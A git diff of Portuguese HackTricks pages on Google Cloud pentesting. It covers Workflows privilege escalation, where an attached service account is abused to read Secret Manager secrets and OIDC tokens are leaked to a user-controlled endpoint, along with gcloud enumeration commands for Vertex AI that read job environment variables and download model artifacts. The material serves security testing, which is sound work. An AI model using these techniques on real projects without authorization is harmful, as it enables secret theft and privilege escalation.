- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,7 +4,7 @@
## Workflows
Informações Básicas:
Informação Básica:
{{#ref}}
../gcp-services/gcp-workflows-enum.md
@@ -12,11 +12,13 @@ Informações Básicas:
### `workflows.workflows.create`, `iam.serviceAccounts.ActAs`, `workflows.executions.create`, (`workflows.workflows.get`, `workflows.operations.get`)
Até onde sei, não é possível obter um shell com acesso ao endpoint de metadados contendo as credenciais da SA atacada a um Workflow. No entanto, é possível abusar das permissões da SA adicionando as ações a serem executadas dentro do Workflow.
Pelo que sei, não é possível obter um shell com acesso ao endpoint de metadata contendo as credenciais da SA anexada a um Workflow. Entretanto, é possível abusar das permissões da SA adicionando as ações a serem executadas dentro do Workflow.
É possível encontrar a documentação dos conectores. Por exemplo, esta é a [**página do conector Secretmanager**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Na barra lateral, é possível encontrar vários outros conectores.
É possível encontrar a documentação dos conectores. Por exemplo, esta é a [**page of the Secretmanager connector**](https://cloud.google.com/workflows/docs/reference/googleapis/secretmanager/Overview)**.** Na barra lateral é possível encontrar vários outros conectores.
E aqui você pode encontrar um exemplo de um conector que imprime um segredo:
<details><summary>Configuração YAML do Workflow para acessar segredos</summary>
```yaml
main:
params: [input]
@@ -31,16 +33,20 @@ result: str_secret
- returnOutput:
return: "${str_secret}"
```
Atualização a partir do CLI:
</details>
Atualização pela CLI:
<details><summary>Implantar e executar workflows pela CLI</summary>
```bash
gcloud workflows deploy <workflow-name> \
--service-account=email@SA \
--source=/path/to/config.yaml \
--location us-central1
```
Se você receber um erro como `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, apenas **espere um minuto e tente novamente**.
Se você receber um erro como `ERROR: (gcloud.workflows.deploy) FAILED_PRECONDITION: Workflows service agent does not exist`, basta **esperar um minuto e tentar novamente**.
Se você não tiver acesso à web, é possível acionar e ver a execução de um Workflow com:
Se você não tiver acesso web, é possível acionar e ver a execução de um Workflow com:
```bash
# Run execution with output
gcloud workflows run <workflow-name> --location us-central1
@@ -54,19 +60,23 @@ gcloud workflows executions list <workflow-name>
# Get execution info and output
gcloud workflows executions describe projects/<proj-number>/locations/<location>/workflows/<workflow-name>/executions/<execution-id>
```
</details>
> [!CAUTION]
> Você também pode verificar a saída de execuções anteriores para procurar informações sensíveis
Observe que mesmo se você receber um erro como `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` porque você não tem essa permissão, o fluxo de trabalho foi gerado.
Observe que mesmo se você receber um erro como `PERMISSION_DENIED: Permission 'workflows.operations.get' denied on...` porque não possui essa permissão, o workflow foi gerado.
### Vazamento de token OIDC (e OAuth?)
### Leak OIDC token (and OAuth?)
De acordo [**com a documentação**](https://cloud.google.com/workflows/docs/authenticate-from-workflow), é possível usar etapas de fluxo de trabalho que enviarão uma solicitação HTTP com o token OAuth ou OIDC. No entanto, assim como no caso do [Cloud Scheduler](gcp-cloudscheduler-privesc.md), a solicitação HTTP com o token Oauth deve ser para o host `.googleapis.com`.
De acordo [**com a documentação**](https://cloud.google.com/workflows/docs/authenticate-from-workflow) é possível usar passos do workflow que enviarão uma requisição HTTP com o token OAuth ou OIDC. No entanto, assim como no caso do [Cloud Scheduler](gcp-cloudscheduler-privesc.md), a requisição HTTP com o token OAuth deve ser para o host `.googleapis.com`.
> [!CAUTION]
> Portanto, é **possível vazar o token OIDC indicando um endpoint HTTP** controlado pelo usuário, mas para vazar o **token OAuth** você precisaria de um **bypass** para essa proteção. No entanto, você ainda pode **contatar qualquer API GCP para realizar ações em nome do SA** usando conectores ou solicitações HTTP com o token OAuth.
> Portanto, é **possível leak o token OIDC indicando um endpoint HTTP** controlado pelo usuário, mas para leak o token **OAuth** você precisaria de um **bypass** para essa proteção. Entretanto, você ainda pode **contatar qualquer GCP api para executar ações em nome do SA** usando conectores ou requisições HTTP com o token OAuth.
#### Oauth
<details><summary>Requisição HTTP do workflow com token OAuth</summary>
```yaml
- step_A:
call: http.post
@@ -76,7 +86,9 @@ auth:
type: OAuth2
scopes: OAUTH_SCOPE
```
#### OIDC
</details>#### OIDC
<details><summary>Requisição HTTP do Workflow com token OIDC</summary>
```yaml
- step_A:
call: http.get
@@ -90,8 +102,8 @@ auth:
type: OIDC
audience: OIDC_AUDIENCE
```
### `workflows.workflows.update` ...
</details>### `workflows.workflows.update` ...
Com esta permissão, em vez de `workflows.workflows.create`, é possível atualizar um fluxo de trabalho já existente e realizar os mesmos ataques.
Com essa permissão, em vez de `workflows.workflows.create`, é possível atualizar um workflow já existente e realizar os mesmos ataques.
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -0,0 +1,257 @@
# GCP - Vertex AI Enum
{{#include ../../../banners/hacktricks-training.md}}
## Vertex AI
[Vertex AI](https://cloud.google.com/vertex-ai) é a **plataforma unificada de machine learning** do Google Cloud para construir, implantar e gerenciar modelos de IA em escala. Combina vários serviços de AI e ML em uma única plataforma integrada, permitindo que cientistas de dados e engenheiros de ML:
- **Treinar modelos customizados** usando AutoML ou treinamento customizado
- **Implantar modelos** em endpoints escaláveis para previsões
- **Gerenciar o ciclo de vida de ML** da experimentação até a produção
- **Acessar modelos pré-treinados** do Model Garden
- **Monitorar e otimizar** o desempenho dos modelos
### Componentes principais
#### Modelos
Os **modelos** do Vertex AI representam modelos de machine learning treinados que podem ser implantados em endpoints para servir previsões. Os modelos podem ser:
- **Enviados** a partir de containers customizados ou artefatos de modelo
- Criados via **AutoML**
- Importados do **Model Garden** (modelos pré-treinados)
- **Versionados**, com múltiplas versões por modelo
Cada modelo possui metadados incluindo seu framework, URI da imagem do container, localização dos artefatos e configuração de serving.
#### Endpoints
**Endpoints** são recursos que hospedam modelos implantados e servem previsões online. Principais características:
- Podem hospedar **múltiplos modelos implantados** (com divisão de tráfego)
- Fornecem **endpoints HTTPS** para previsões em tempo real
- Suportam **autoscaling** com base no tráfego
- Podem usar acesso **privado** ou **público**
- Suportam **A/B testing** através de divisão de tráfego
#### Custom Jobs
**Custom jobs** permitem executar código de treinamento customizado usando seus próprios containers ou pacotes Python. Recursos incluem:
- Suporte para **treinamento distribuído** com múltiplos worker pools
- Tipos de máquina e **aceleradores** (GPUs/TPUs) configuráveis
- Anexação de **service account** para acessar outros recursos do GCP
- Integração com **Vertex AI Tensorboard** para visualização
- Opções de **conectividade VPC**
#### Hyperparameter Tuning Jobs
Esses jobs fazem busca automática por **hiperparâmetros ótimos** executando múltiplos experimentos de treinamento com diferentes combinações de parâmetros.
#### Model Garden
O **Model Garden** fornece acesso a:
- Modelos pré-treinados do Google
- Modelos open-source (incluindo Hugging Face)
- Modelos de terceiros
- Capacidades de deploy com um clique
#### Tensorboards
**Tensorboards** fornecem visualização e monitoramento para experimentos de ML, acompanhando métricas, gráficos do modelo e progresso do treinamento.
### Service Accounts & Permissions
Por padrão, os serviços do Vertex AI usam a **Compute Engine default service account** (`PROJECT_NUMBER-compute@developer.gserviceaccount.com`), que possui permissões de **Editor** no projeto. No entanto, você pode especificar service accounts customizadas ao:
- Criar custom jobs
- Fazer upload de modelos
- Implantar modelos em endpoints
Essa service account é usada para:
- Acessar dados de treinamento no Cloud Storage
- Escrever logs no Cloud Logging
- Acessar secrets no Secret Manager
- Interagir com outros serviços do GCP
### Data Storage
- **Artefatos de modelo** são armazenados em buckets do **Cloud Storage**
- **Dados de treinamento** tipicamente residem no Cloud Storage ou BigQuery
- **Imagens de container** são armazenadas em **Artifact Registry** ou Container Registry
- **Logs** são enviados para **Cloud Logging**
- **Métricas** são enviadas para **Cloud Monitoring**
### Encryption
Por padrão, o Vertex AI usa **chaves de criptografia gerenciadas pelo Google**. Você também pode configurar:
- **Customer-managed encryption keys (CMEK)** via Cloud KMS
- A criptografia aplica-se a artefatos de modelo, dados de treinamento e endpoints
### Networking
Os recursos do Vertex AI podem ser configurados para:
- **Acesso pela internet público** (padrão)
- **VPC peering** para acesso privado
- **Private Service Connect** para conectividade segura
- Suporte a **Shared VPC**
### Enumeração
```bash
# List models
gcloud ai models list --region=<region>
gcloud ai models describe <model-id> --region=<region>
gcloud ai models list-version <model-id> --region=<region>
# List endpoints
gcloud ai endpoints list --region=<region>
gcloud ai endpoints describe <endpoint-id> --region=<region>
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
# List custom jobs
gcloud ai custom-jobs list --region=<region>
gcloud ai custom-jobs describe <job-id> --region=<region>
# Stream logs from a running job
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
# List hyperparameter tuning jobs
gcloud ai hp-tuning-jobs list --region=<region>
gcloud ai hp-tuning-jobs describe <job-id> --region=<region>
# List model monitoring jobs
gcloud ai model-monitoring-jobs list --region=<region>
gcloud ai model-monitoring-jobs describe <job-id> --region=<region>
# List Tensorboards
gcloud ai tensorboards list --region=<region>
gcloud ai tensorboards describe <tensorboard-id> --region=<region>
# List indexes (for vector search)
gcloud ai indexes list --region=<region>
gcloud ai indexes describe <index-id> --region=<region>
# List index endpoints
gcloud ai index-endpoints list --region=<region>
gcloud ai index-endpoints describe <index-endpoint-id> --region=<region>
# Get operations (long-running operations status)
gcloud ai operations describe <operation-id> --region=<region>
# Test endpoint predictions (if you have access)
gcloud ai endpoints predict <endpoint-id> \
--region=<region> \
--json-request=request.json
# Make direct predictions (newer API)
gcloud ai endpoints direct-predict <endpoint-id> \
--region=<region> \
--json-request=request.json
```
### Coleta de Informações do Modelo
```bash
# Get detailed model information including versions
gcloud ai models describe <model-id> --region=<region>
# Check specific model version
gcloud ai models describe <model-id>@<version> --region=<region>
# List all versions of a model
gcloud ai models list-version <model-id> --region=<region>
# Get model artifact location (usually a GCS bucket)
gcloud ai models describe <model-id> --region=<region> --format="value(artifactUri)"
# Get container image URI
gcloud ai models describe <model-id> --region=<region> --format="value(containerSpec.imageUri)"
```
### Detalhes do Endpoint
```bash
# Get endpoint details including deployed models
gcloud ai endpoints describe <endpoint-id> --region=<region>
# Get endpoint URL
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].displayName)"
# Get service account used by endpoint
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(deployedModels[0].serviceAccount)"
# Check traffic split between models
gcloud ai endpoints describe <endpoint-id> --region=<region> --format="value(trafficSplit)"
```
### Informações do Custom Job
```bash
# Get job details including command, args, and service account
gcloud ai custom-jobs describe <job-id> --region=<region>
# Get service account used by job
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].serviceAccount)"
# Get container image used
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.imageUri)"
# Check environment variables (may contain secrets)
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.workerPoolSpecs[0].containerSpec.env)"
# Get network configuration
gcloud ai custom-jobs describe <job-id> --region=<region> --format="value(jobSpec.network)"
```
### Controle de Acesso
```bash
# Note: IAM policies for individual Vertex AI resources are managed at the project level
# Check project-level permissions
gcloud projects get-iam-policy <project-id>
# Check service account permissions
gcloud iam service-accounts get-iam-policy <service-account-email>
# Check if endpoints allow unauthenticated access
# This is controlled by IAM bindings on the endpoint
gcloud projects get-iam-policy <project-id> \
--flatten="bindings[].members" \
--filter="bindings.role:aiplatform.user"
```
### Armazenamento e Artefatos
```bash
# Models and training jobs often store artifacts in GCS
# List buckets that might contain model artifacts
gsutil ls
# Common artifact locations:
# gs://<project>-aiplatform-<region>/
# gs://<project>-vertex-ai/
# gs://<custom-bucket>/vertex-ai/
# Download model artifacts if accessible
gsutil -m cp -r gs://<bucket>/path/to/artifacts ./artifacts/
# Check for notebooks in AI Platform Notebooks
gcloud notebooks instances list --location=<location>
gcloud notebooks instances describe <instance-name> --location=<location>
```
### Model Garden
```bash
# List Model Garden endpoints
gcloud ai endpoints list --list-model-garden-endpoints-only --region=<region>
# Model Garden models are often deployed with default configurations
# Check for publicly accessible endpoints
```
### Privilege Escalation
Na página a seguir, você pode verificar como **abuse Vertex AI permissions to escalate privileges**:
{{#ref}}
../gcp-privilege-escalation/gcp-vertex-ai-privesc.md
{{#endref}}
## Referências
- [https://cloud.google.com/vertex-ai/docs](https://cloud.google.com/vertex-ai/docs)
- [https://cloud.google.com/vertex-ai/docs/reference/rest](https://cloud.google.com/vertex-ai/docs/reference/rest)
{{#include ../../../banners/hacktricks-training.md}}